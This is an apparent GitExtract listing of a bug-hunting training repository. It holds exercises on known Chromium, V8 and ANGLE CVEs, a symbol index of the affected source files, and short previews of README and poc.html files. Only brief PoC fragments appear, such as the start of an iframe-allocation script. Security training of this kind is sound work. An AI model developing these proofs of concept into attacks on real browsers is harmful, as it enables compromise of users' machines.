  function namespace (line 34) | namespace prerender {
  type class (line 58) | enum class
  type class (line 72) | enum class
  type NavigationScore (line 101) | struct NavigationScore
  function OnPrefetchNetworkBytesChanged (line 117) | void OnPrefetchNetworkBytesChanged(

FILE: LEVEL_3/exercise_2/representation-change.cc
  type v8 (line 18) | namespace v8 {
    type internal (line 19) | namespace internal {
      type compiler (line 20) | namespace compiler {
        function IdentifyZeros (line 93) | IdentifyZeros Truncation::GeneralizeIdentifyZeros(IdentifyZeros i1,
        function IsWord (line 134) | bool IsWord(MachineRepresentation rep) {
        function Node (line 154) | Node* RepresentationChanger::GetRepresentationFor(
        function Node (line 242) | Node* RepresentationChanger::GetTaggedSignedRepresentationFor(
        function Node (line 384) | Node* RepresentationChanger::GetTaggedPointerRepresentationFor(
        function Node (line 493) | Node* RepresentationChanger::GetTaggedRepresentationFor(
        function Node (line 608) | Node* RepresentationChanger::GetFloat32RepresentationFor(
        function Node (line 673) | Node* RepresentationChanger::GetFloat64RepresentationFor(
        function Node (line 783) | Node* RepresentationChanger::MakeTruncatedInt32Constant(double val...
        function Node (line 787) | Node* RepresentationChanger::InsertUnconditionalDeopt(Node* node,
        function Node (line 800) | Node* RepresentationChanger::GetWord32RepresentationFor(
        function Node (line 981) | Node* RepresentationChanger::InsertConversion(Node* node, const Op...
        function Node (line 995) | Node* RepresentationChanger::GetBitRepresentationFor(
        function Node (line 1067) | Node* RepresentationChanger::GetWord64RepresentationFor(
        function Operator (line 1230) | const Operator* RepresentationChanger::Int32OperatorFor(
        function Operator (line 1273) | const Operator* RepresentationChanger::Int32OverflowOperatorFor(
        function Operator (line 1289) | const Operator* RepresentationChanger::Int64OperatorFor(
        function Operator (line 1305) | const Operator* RepresentationChanger::TaggedSignedOperatorFor(
        function Operator (line 1325) | const Operator* RepresentationChanger::Uint32OperatorFor(
        function Operator (line 1359) | const Operator* RepresentationChanger::Uint32OverflowOperatorFor(
        function Operator (line 1371) | const Operator* RepresentationChanger::Float64OperatorFor(
        function Node (line 1465) | Node* RepresentationChanger::TypeError(Node* node,
        function Node (line 1488) | Node* RepresentationChanger::InsertChangeBitToTagged(Node* node) {
        function Node (line 1492) | Node* RepresentationChanger::InsertChangeFloat32ToFloat64(Node* no...
        function Node (line 1496) | Node* RepresentationChanger::InsertChangeFloat64ToUint32(Node* nod...
        function Node (line 1500) | Node* RepresentationChanger::InsertChangeFloat64ToInt32(Node* node) {
        function Node (line 1504) | Node* RepresentationChanger::InsertChangeInt32ToFloat64(Node* node) {
        function Node (line 1508) | Node* RepresentationChanger::InsertChangeTaggedSignedToInt32(Node*...
        function Node (line 1513) | Node* RepresentationChanger::InsertChangeTaggedToFloat64(Node* nod...
        function Node (line 1518) | Node* RepresentationChanger::InsertChangeUint32ToFloat64(Node* nod...
        function Node (line 1522) | Node* RepresentationChanger::InsertTruncateInt64ToInt32(Node* node) {
        function Node (line 1526) | Node* RepresentationChanger::InsertCheckedFloat64ToInt32(
        function Isolate (line 1533) | Isolate* RepresentationChanger::isolate() const { return broker_->...

FILE: LEVEL_3/exercise_2/representation-change.h
  function namespace (line 12) | namespace v8 {

FILE: LEVEL_3/exercise_3/node_channel.cc
  type mojo (line 21) | namespace mojo {
    type core (line 22) | namespace core {
      type MessageType (line 27) | enum class MessageType : uint32_t {
      type Header (line 50) | struct alignas(8) Header {
      type AcceptInviteeDataV0 (line 57) | struct alignas(8) AcceptInviteeDataV0 {
      type AcceptInviteeDataV1 (line 62) | struct alignas(8) AcceptInviteeDataV1 : AcceptInviteeDataV0 {
      type AcceptInvitationDataV0 (line 68) | struct alignas(8) AcceptInvitationDataV0 {
      type AcceptInvitationDataV1 (line 73) | struct alignas(8) AcceptInvitationDataV1 : AcceptInvitationDataV0 {
      type AcceptPeerDataV0 (line 79) | struct alignas(8) AcceptPeerDataV0 {
      type AddBrokerClientDataV0 (line 88) | struct alignas(8) AddBrokerClientDataV0 {
      type BrokerClientAddedDataV0 (line 105) | struct alignas(8) BrokerClientAddedDataV0 {
      type AcceptBrokerClientDataV0 (line 113) | struct alignas(8) AcceptBrokerClientDataV0 {
      type AcceptBrokerClientDataV1 (line 117) | struct alignas(8) AcceptBrokerClientDataV1 : AcceptBrokerClientDataV0 {
      type RequestPortMergeData (line 127) | struct alignas(8) RequestPortMergeData {
      type IntroductionDataV0 (line 137) | struct alignas(8) IntroductionDataV0 {
      type IntroductionDataV1 (line 141) | struct alignas(8) IntroductionDataV1 : IntroductionDataV0 {
      type BindBrokerHostDataV0 (line 149) | struct alignas(8) BindBrokerHostDataV0 {}
      type RelayEventMessageData (line 157) | struct alignas(8) RelayEventMessageData {
      type EventMessageFromRelayDataV0 (line 163) | struct alignas(8) EventMessageFromRelayDataV0 {
      function CreateMessage (line 173) | Channel::MessagePtr CreateMessage(MessageType type,
      function CreateMessage (line 197) | Channel::MessagePtr CreateMessage(MessageType type,
      function GetMessagePayloadMinimumSized (line 216) | bool GetMessagePayloadMinimumSized(const void* bytes,
      function GetMessagePayload (line 238) | bool GetMessagePayload(const void* bytes,

FILE: LEVEL_3/exercise_3/node_channel.h
  function namespace (line 26) | namespace mojo {

FILE: LEVEL_3/exercise_3/user_message_impl.cc
  type mojo (line 29) | namespace mojo {
    type core (line 30) | namespace core {
      type MessageHeader (line 49) | struct MessageHeader {
      type DispatcherHeader (line 59) | struct DispatcherHeader {
      function MojoResult (line 82) | MojoResult CreateOrExtendSerializedEventMessage(
      function IncrementMessageCount (line 272) | void IncrementMessageCount() {
      function DecrementMessageCount (line 276) | void DecrementMessageCount() {
      class MessageMemoryDumpProvider (line 280) | class MessageMemoryDumpProvider : public base::trace_event::MemoryDu...
        method MessageMemoryDumpProvider (line 282) | MessageMemoryDumpProvider() {
        method OnMemoryDump (line 294) | bool OnMemoryDump(const base::trace_event::MemoryDumpArgs& args,
      function EnsureMemoryDumpProviderExists (line 306) | void EnsureMemoryDumpProviderExists() {
      function MojoResult (line 355) | MojoResult UserMessageImpl::CreateEventForNewSerializedMessage(
      function MojoResult (line 443) | MojoResult UserMessageImpl::SetContext(
      function MojoResult (line 459) | MojoResult UserMessageImpl::AppendData(uint32_t additional_payload_s...
      function MojoResult (line 531) | MojoResult UserMessageImpl::CommitSize() {
      function MojoResult (line 552) | MojoResult UserMessageImpl::SerializeIfNecessary() {
      function MojoResult (line 573) | MojoResult UserMessageImpl::ExtractSerializedHandles(

FILE: LEVEL_3/exercise_4/receiver_set.h
  function namespace (line 25) | namespace mojo {
  function SupportsContext (line 43) | static constexpr bool SupportsContext() { return true; }
  function void (line 47) | struct ReceiverSetContextTraits<void> {
  function set_disconnect_handler (line 105) | void set_disconnect_handler(base::RepeatingClosure handler) {
  function set_disconnect_with_reason_handler (line 111) | void set_disconnect_with_reason_handler(
  function Remove (line 155) | bool Remove(ReceiverId id) {
  function FlushForTesting (line 251) | void FlushForTesting() {
  function ImplPointerType (line 305) | ImplPointerType SwapImplForTesting(ImplPointerType new_impl) {
  function FlushForTesting (line 309) | void FlushForTesting() { receiver_.FlushForTesting(); }
  function PendingType (line 311) | PendingType Unbind() { return receiver_.Unbind(); }
  function DidDispatchOrReject (line 326) | void DidDispatchOrReject(Message* message, bool accepted) override {}
  function WillDispatch (line 333) | void WillDispatch() {
  function OnDisconnect (line 337) | void OnDisconnect(uint32_t custom_reason_code,
  function SetDispatchContext (line 352) | void SetDispatchContext(const Context* context, ReceiverId receiver_id) {
  function ReceiverId (line 357) | ReceiverId AddImpl(ImplPointerType impl,
  function OnDisconnect (line 371) | void OnDisconnect(ReceiverId id,

FILE: LEVEL_3/exercise_5/page_handler.cc
  type content (line 68) | namespace content {
    type protocol (line 69) | namespace protocol {
      function Binary (line 83) | Binary EncodeImage(const gfx::Image& image,
      function Binary (line 103) | Binary EncodeSkBitmap(const SkBitmap& image,
      function BuildScreencastFrameMetadata (line 109) | std::unique_ptr<Page::ScreencastFrameMetadata> BuildScreencastFrameM...
      function DetermineSnapshotSize (line 141) | gfx::Size DetermineSnapshotSize(const gfx::Size& surface_size,
      function GetMetadataFromFrame (line 159) | void GetMetadataFromFrame(const media::VideoFrame& frame,
      function CanExecuteGlobalCommands (line 173) | bool CanExecuteGlobalCommands(
      function Response (line 347) | Response PageHandler::Enable() {
      function Response (line 352) | Response PageHandler::Disable() {
      function Response (line 377) | Response PageHandler::Crash() {
      function Response (line 388) | Response PageHandler::Close() {
      function ParsePolicyFromString (line 420) | static network::mojom::ReferrerPolicy ParsePolicyFromString(
      function Response (line 621) | Response PageHandler::GetNavigationHistory(
      function Response (line 645) | Response PageHandler::NavigateToHistoryEntry(int entry_id) {
      function ReturnTrue (line 661) | static bool ReturnTrue(NavigationEntry* entry) {
      function Response (line 665) | Response PageHandler::ResetNavigationHistory() {
      function Response (line 870) | Response PageHandler::StartScreencast(Maybe<std::string> format,
      function Response (line 926) | Response PageHandler::StopScreencast() {
      function Response (line 933) | Response PageHandler::ScreencastFrameAck(int session_id) {
      function Response (line 939) | Response PageHandler::HandleJavaScriptDialog(bool accept,
      function Response (line 967) | Response PageHandler::BringToFront() {
      function Response (line 977) | Response PageHandler::SetDownloadBehavior(const std::string& behavior,
      function WebContentsImpl (line 1003) | WebContentsImpl* PageHandler::GetWebContents() {
      function Response (line 1215) | Response PageHandler::StopLoading() {
      function Response (line 1223) | Response PageHandler::SetWebLifecycleState(const std::string& state) {

FILE: LEVEL_3/exercise_6/ipc_message_pipe_reader.cc
  type IPC (line 21) | namespace IPC {
    type internal (line 22) | namespace internal {

FILE: LEVEL_3/exercise_6/pickle.cc
  type base (line 18) | namespace base {
    function Pickle (line 282) | Pickle& Pickle::operator=(const Pickle& other) {

FILE: LEVEL_3/exercise_6/pickle.h
  function namespace (line 21) | namespace base {
Condensed preview — 63 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,540K chars).
[
  {
    "path": "LEVEL_1/README.md",
    "chars": 288,
    "preview": "# LEVEL 1\n\nI will collect some related code and useful descriptions, in order to provide all your demands. But if you fe"
  },
  {
    "path": "LEVEL_1/exercise_1/Buffer11.cpp",
    "chars": 69400,
    "preview": "//\n// Copyright 2014 The ANGLE Project Authors. All rights reserved.\n// Use of this source code is governed by a BSD-sty"
  },
  {
    "path": "LEVEL_1/exercise_1/README.md",
    "chars": 11294,
    "preview": "# Exercise 1\r\n\r\n## CVE-2020-6542\r\nI choose **CVE-2020-6542**, and I sugget you don't search any report about it to preve"
  },
  {
    "path": "LEVEL_1/exercise_1/poc.html",
    "chars": 9917,
    "preview": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"utf-8\">\n        <meta name=\"viewport\" content=\"width=device-wid"
  },
  {
    "path": "LEVEL_1/exercise_2/README.md",
    "chars": 5153,
    "preview": "# Exercise 2\n\n## CVE-2020-6463\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n"
  },
  {
    "path": "LEVEL_1/exercise_2/VertexArray11.cpp",
    "chars": 15747,
    "preview": "//\n// Copyright 2016 The ANGLE Project Authors. All rights reserved.\n// Use of this source code is governed by a BSD-sty"
  },
  {
    "path": "LEVEL_1/exercise_3/IndexDataManager.cpp",
    "chars": 13015,
    "preview": "//\n// Copyright 2002 The ANGLE Project Authors. All rights reserved.\n// Use of this source code is governed by a BSD-sty"
  },
  {
    "path": "LEVEL_1/exercise_3/README.md",
    "chars": 13307,
    "preview": "# Exercise 3\n\n## CVE-2020-16005\nI sugget you don't search any report about it to prevents get too much info like patch.\n"
  },
  {
    "path": "LEVEL_1/exercise_3/poc.html",
    "chars": 1487,
    "preview": "<html>\n<head>\n<script id=\"vshader\" type=\"x-shader/x-vertex\">\nvoid main()\n{\n}\n</script>\n<script id=\"fshader\" type=\"x-shad"
  },
  {
    "path": "LEVEL_1/exercise_4/README.md",
    "chars": 11570,
    "preview": "# Exercise 4\n\n## CVE-2021-21204\nI sugget you don't search any report about it to prevents get too much info like patch.\n"
  },
  {
    "path": "LEVEL_1/exercise_4/mac_scrollbar_animator_impl.mm",
    "chars": 30598,
    "preview": "// Copyright 2021 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_1/exercise_5/README.md",
    "chars": 4239,
    "preview": "# Exercise 5\n\n##  CVE-2021-21203\nI sugget you don't search any report about it to prevents get too much info like patch."
  },
  {
    "path": "LEVEL_1/exercise_5/css_interpolation_types_map.cc",
    "chars": 21615,
    "preview": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_1/exercise_5/poc.html",
    "chars": 1137,
    "preview": "<iframe id=\"result\" srcdoc=\"\n    <style>\n    .rainbow__band:nth-of-type(2) {\n    --hue: 35;\n    }\n    </style>\n    <div "
  },
  {
    "path": "LEVEL_1/exercise_6/README.md",
    "chars": 10242,
    "preview": "# Exercise 6\n\n## CVE-2021-21188\nI sugget you don't search any report about it to prevents get too much info like patch.\n"
  },
  {
    "path": "LEVEL_1/exercise_6/animatable.cc",
    "chars": 6067,
    "preview": "// Copyright 2017 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_1/exercise_6/effect_input.cc",
    "chars": 32322,
    "preview": "/*\n * Copyright (C) 2013 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with "
  },
  {
    "path": "LEVEL_1/exercise_6/keyframe_effect.cc",
    "chars": 28607,
    "preview": "/*\n * Copyright (C) 2013 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with "
  },
  {
    "path": "LEVEL_1/exercise_6/poc.html",
    "chars": 550,
    "preview": "<body></body>\n<script>\nfunction allociframe(){\n  var iframe = document.createElement( \"iframe\");\n  console.log(iframe);\n"
  },
  {
    "path": "LEVEL_1/exercise_7/README.md",
    "chars": 11036,
    "preview": "# Exercise 7\n\n\n## CVE-2021-30565\nI sugget you don't search any report about it to prevents get too much info like patch."
  },
  {
    "path": "LEVEL_1/exercise_7/marker.cc",
    "chars": 23923,
    "preview": "// Copyright 2020 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style lic"
  },
  {
    "path": "LEVEL_1/exercise_7/marking-state.h",
    "chars": 18183,
    "preview": "// Copyright 2020 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style lic"
  },
  {
    "path": "LEVEL_2/README.md",
    "chars": 419,
    "preview": "# LEVEL 2\n\nThis time, you cann't rely on the `Details` to search the bug. The only info you get is the related files of "
  },
  {
    "path": "LEVEL_2/exercise_1/README.md",
    "chars": 4820,
    "preview": "# Exercise 1\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_1/text_searcher_icu.cc",
    "chars": 8636,
    "preview": "/*\n * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2012 Apple Inc. All\n * rights reserved.\n * Copyright (C) 2"
  },
  {
    "path": "LEVEL_2/exercise_2/README.md",
    "chars": 7091,
    "preview": "# Exercise 2\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_2/visible_units.cc",
    "chars": 55412,
    "preview": "/*\n * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights\n * reserved.\n *\n * Redistribution and use i"
  },
  {
    "path": "LEVEL_2/exercise_3/README.md",
    "chars": 4679,
    "preview": "# Exercise 3\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_3/deflate_transformer.cc",
    "chars": 5370,
    "preview": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_2/exercise_3/inflate_transformer.cc",
    "chars": 6159,
    "preview": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_2/exercise_4/README.md",
    "chars": 4855,
    "preview": "# Exercise 4\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_4/tab_strip_model.cc",
    "chars": 88551,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_2/exercise_5/README.md",
    "chars": 7565,
    "preview": "# Exercise 5\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_drag_controller.cc",
    "chars": 92352,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_drag_controller.h",
    "chars": 27961,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_strip_model.cc",
    "chars": 86025,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_strip_model.h",
    "chars": 37529,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_2/exercise_6/README.md",
    "chars": 5167,
    "preview": "# Exercise 6\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_6/pdfium_page.cc",
    "chars": 55365,
    "preview": "// Copyright (c) 2010 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_2/exercise_7/README.md",
    "chars": 3141,
    "preview": "# Exercise 7\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_2/exercise_7/webgl_rendering_context_base.cc",
    "chars": 306883,
    "preview": "/*\n * Copyright (C) 2009 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with o"
  },
  {
    "path": "LEVEL_3/README.md",
    "chars": 236,
    "preview": "# LEVEL 3\n\nIn LEVEL 1 | 2, we do exercise for bug hunting, but we seem forget the Poc.\n\nWe need Poc to prove that we fin"
  },
  {
    "path": "LEVEL_3/exercise_1/README.md",
    "chars": 4288,
    "preview": "# Exercise 1\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_3/exercise_1/navigation_predictor.cc",
    "chars": 39011,
    "preview": "// Copyright 2018 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_1/navigation_predictor.h",
    "chars": 12642,
    "preview": "// Copyright 2018 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_2/README.md",
    "chars": 6202,
    "preview": "# Exercise 2\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_3/exercise_2/representation-change.cc",
    "chars": 64293,
    "preview": "// Copyright 2015 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style lic"
  },
  {
    "path": "LEVEL_3/exercise_2/representation-change.h",
    "chars": 16779,
    "preview": "// Copyright 2014 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style lic"
  },
  {
    "path": "LEVEL_3/exercise_3/README.md",
    "chars": 6893,
    "preview": "# Exercise 3\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_3/exercise_3/node_channel.cc",
    "chars": 31147,
    "preview": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_3/node_channel.h",
    "chars": 9957,
    "preview": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_3/user_message_impl.cc",
    "chars": 26261,
    "preview": "// Copyright 2017 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_4/README.md",
    "chars": 5059,
    "preview": "# Exercise 4\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_3/exercise_4/receiver_set.h",
    "chars": 15402,
    "preview": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_5/README.md",
    "chars": 7023,
    "preview": "# Exercise 5\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_3/exercise_5/page_handler.cc",
    "chars": 47760,
    "preview": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_6/README.md",
    "chars": 10033,
    "preview": "# Exercise 6\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "LEVEL_3/exercise_6/ipc_message_pipe_reader.cc",
    "chars": 3951,
    "preview": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style licen"
  },
  {
    "path": "LEVEL_3/exercise_6/pickle.cc",
    "chars": 12706,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_3/exercise_6/pickle.h",
    "chars": 14306,
    "preview": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style l"
  },
  {
    "path": "LEVEL_3/exercise_7/README.md",
    "chars": 5887,
    "preview": "# Exercise 7\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far awa"
  },
  {
    "path": "README.md",
    "chars": 3739,
    "preview": "# bug-hunting-101\n\n## What is this?\n\nThis repository is to help new-comers (like ourselves) of binary bug hunting area t"
  },
  {
    "path": "Template.md",
    "chars": 1278,
    "preview": "# Exercise x\n\n\n## CVE-xxxx-xxxx\nI sugget you don't search any report about it to prevents get too much info like patch.\n"
  }
]

About this extraction

This page contains the full source code of the StarCrossPortal/bug-hunting-101 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 63 files (1.4 MB), approximately 342.2k tokens, and a symbol index with 575 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!